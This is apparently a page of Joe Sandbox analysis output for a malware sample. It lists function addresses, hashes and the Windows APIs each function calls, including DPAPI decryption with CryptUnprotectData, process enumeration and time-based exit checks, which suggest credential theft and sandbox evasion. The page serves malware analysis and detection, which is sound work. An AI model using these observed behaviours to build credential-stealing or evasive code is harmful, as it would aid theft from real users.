Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: f6fa11fc8983116e6aeb8bc712271b9ff779f198be97c8e44465992bf0759db8
Instruction ID: 6aebee9665c41e46bc01feba8859bffbf569520885946415bfa4bdcf1fc3540f
Opcode Fuzzy Hash: f6fa11fc8983116e6aeb8bc712271b9ff779f198be97c8e44465992bf0759db8
Instruction Fuzzy Hash: 3F41847590420EDBDB14DF90DD89BFEBBB8BB44304F1045B8E509A6280D7B59A84CF91

Function 00606920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0060696C
sscanf.NTDLL ref: 00606999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006069B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006069C0
ExitProcess.KERNEL32 ref: 006069DA

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: d11e2544aa69da336d4170c394fd2a921d385331058f7dc37f54785ec72f6604
Instruction ID: 3b2c67a7605d86faa56b4c1fb3591d007672c90dfe6ebfd003ba0c4a6c1a20d6
Opcode Fuzzy Hash: d11e2544aa69da336d4170c394fd2a921d385331058f7dc37f54785ec72f6604
Instruction Fuzzy Hash: 7E21CB75D14209ABCF48EFE4D945AEEB7B6BF48300F04852EE406E3250EB345615CB69

Function 005F7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 005F724D
RtlAllocateHeap.NTDLL(00000000), ref: 005F7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 005F7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 005F72A4
LocalFree.KERNEL32(?), ref: 005F72AE

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 154ceb66107ed55555541f2939c01015f0ba3362a51fd4613b3e8c596ac8ed21
Instruction ID: 62a960f3c3c335cb81567b5cc24a1b5479a7a345226a52150ffebfefa5a17551
Opcode Fuzzy Hash: 154ceb66107ed55555541f2939c01015f0ba3362a51fd4613b3e8c596ac8ed21
Instruction Fuzzy Hash: FD010075A40208BBEB14DFD4DD49FAD7B78BB44700F104558FB45BA2C0D7B0AA008B65

Function 00609600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0060961E
Process32First.KERNEL32(00610ACA,00000128), ref: 00609632
Process32Next.KERNEL32(00610ACA,00000128), ref: 00609647
StrCmpCA.SHLWAPI(?,00000000), ref: 0060965C
CloseHandle.KERNEL32(00610ACA), ref: 0060967A

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 9fe1f35882357387027b23c577cf1b3b20df938a5dee25d32844c5b335d479f3
Instruction ID: 0ba4a3e9fcff2ce76d47a3fa26938f8d233450dc653dd5e8c55d201498130520
Opcode Fuzzy Hash: 9fe1f35882357387027b23c577cf1b3b20df938a5dee25d32844c5b335d479f3
Instruction Fuzzy Hash: 0B015E75A10208EBDB18DFA4CC88BEEB7FAFB48700F004598A945A7280DB359B40CF61

Function 00608EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,005F5184,40000001,00000000,00000000,?,005F5184), ref: 00608EC0

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: da0f3ea3e172ade954c3bfe61ad9ee2dfc89c399074bc21f0a11151e93dd4227
Instruction ID: 7a38d8cd58af81bb6fcd5134fa65f9ff635d469783ee7ce6b56663b582a95894
Opcode Fuzzy Hash: da0f3ea3e172ade954c3bfe61ad9ee2dfc89c399074bc21f0a11151e93dd4227
Instruction Fuzzy Hash: 3A112E70240205FFDB08CF64D885FAB37AABF89340F109858F9958B290DB75EC41DB64

Function 00607A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0140DA28,00000000,?,00610E10,00000000,?,00000000,00000000), ref: 00607A63
RtlAllocateHeap.NTDLL(00000000), ref: 00607A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0140DA28,00000000,?,00610E10,00000000,?,00000000,00000000,?), ref: 00607A7D
wsprintfA.USER32 ref: 00607AB7

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 18abc3e301ccf51fc3fdcce1d1fa1a7fded4bb2837d0828bb86e16e9b4ba1de7
Instruction ID: 5848c16ecc32e0b200eab24569c5bf39840b3f02f693edd0ea623b8394bef455
Opcode Fuzzy Hash: 18abc3e301ccf51fc3fdcce1d1fa1a7fded4bb2837d0828bb86e16e9b4ba1de7
Instruction Fuzzy Hash: 0F118EB1E45218EBEB248B54DC49FAAB778FB44721F1047AAE90A932C0D7745A44CF51

Function 009C2B65 Relevance: 4.8, Strings: 3, Instructions: 1046COMMON

Download Yara Rule

Strings

t~o, xrefs: 009C2C6C
rH)", xrefs: 009C2DFA
NoV*, xrefs: 009C2EC0

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: NoV*$rH)"$t~o
API String ID: 0-3807339736
Opcode ID: c4c50535b397d73ec05be903c8bf425d6334d5b5579b3b98e313b4e6f1828320
Instruction ID: 8d288a5f433b8d7b2749cebfb0f87bff3a094014a6feac7e0fa4b20f10136214
Opcode Fuzzy Hash: c4c50535b397d73ec05be903c8bf425d6334d5b5579b3b98e313b4e6f1828320
Instruction Fuzzy Hash: D4620AF360C2009FE3046E2DEC8567ABBE9EFD4720F1A493DEAD4C7744EA3558058696

Function 00603720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0060E118,00000000,00000001,0060E108,00000000), ref: 00603758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 006037B0

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: f08f73b8fab077098040f27f52803288e90ad7dbf2f777dc0e4dfe5e39f6cf1a
Instruction ID: d91ad17608b6e45061ecf99763ad4c44be1c53df217fc368f7b0253edb9aa330
Opcode Fuzzy Hash: f08f73b8fab077098040f27f52803288e90ad7dbf2f777dc0e4dfe5e39f6cf1a
Instruction Fuzzy Hash: 5041C770A40A289FDB28DF58CC95B9BB7B5BB48702F4081D9E609A72D0D7B16E85CF50

Function 005F9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 005F9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 005F9BA3
LocalFree.KERNEL32(?), ref: 005F9BD3

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 218ca62f8686010c7adc33421080dc63d7f7b1dd81d0164c59f47aa4a93494e6
Instruction ID: b051477b1e7d612ef6c9027d82bae724db57769ec9cf4f5641b193d9f168d58d
Opcode Fuzzy Hash: 218ca62f8686010c7adc33421080dc63d7f7b1dd81d0164c59f47aa4a93494e6
Instruction Fuzzy Hash: 8A11C9B8A00209EFDB04DF94D985AAEB7B5FF88301F1045A8ED15A7350D774AE10CFA1

Function 009BD37C Relevance: 4.1, Strings: 2, Instructions: 1578COMMON

Download Yara Rule

Strings

b<qg, xrefs: 009BDEA6
ASWy, xrefs: 009BE346

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ASWy$b<qg
API String ID: 0-1408985611
Opcode ID: 46e263db9e43447fbe83603cc6b0752b48526534dc7f93c2b49061154a1ac803
Instruction ID: fd1c29d37445d58bb1ad4e5038b637891c369aa39d9b2f505cbf311d58779db4
Opcode Fuzzy Hash: 46e263db9e43447fbe83603cc6b0752b48526534dc7f93c2b49061154a1ac803
Instruction Fuzzy Hash: 70B2F6F39082109FE304AE2DEC9567AFBE5EF94320F164A3DEAC4D3744EA3558058697

Function 009BB91A Relevance: 4.1, Strings: 2, Instructions: 1574COMMON

Download Yara Rule

Strings

A', xrefs: 009BCBE4
-E~?, xrefs: 009BCAE1

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -E~?$A'
API String ID: 0-2307484516
Opcode ID: 8c3e0dd9ea8025e293f1dbcdef4a8713bd2606f95c0f749456bd28804277dbf0
Instruction ID: eaab0481af8c283651b477dd1082a65533f99b42ac8844b2ae2815a7b7bf5923
Opcode Fuzzy Hash: 8c3e0dd9ea8025e293f1dbcdef4a8713bd2606f95c0f749456bd28804277dbf0
Instruction Fuzzy Hash: DEB208F3A082109FE304AE2DEC8567AFBE9EF94760F16463DEAC4C7744E63558058693

Function 00881836 Relevance: 3.9, Strings: 3, Instructions: 185COMMON

Download Yara Rule

Strings

~sOv, xrefs: 00881906
zsOv, xrefs: 0088190B
/59,, xrefs: 00881957

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /59,$zsOv$~sOv
API String ID: 0-475423279
Opcode ID: be8c0795defedfe2b25c7b99f69d28471793b3a8740162e262d7c732f97d122b
Instruction ID: 7e721f01b54c3930c6b6b7e7bf50280e06a4ce76ed1129392f69aeadba0a7d48
Opcode Fuzzy Hash: be8c0795defedfe2b25c7b99f69d28471793b3a8740162e262d7c732f97d122b
Instruction Fuzzy Hash: 045118F3A082146BE3189E59ECC1B7AF3D9EB98320F1B463DEAC993740E5756C014695

Function 009B560C Relevance: 3.3, Strings: 2, Instructions: 781COMMON

Download Yara Rule

Strings

?X{, xrefs: 009B5C72
<$3:, xrefs: 009B58D7

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
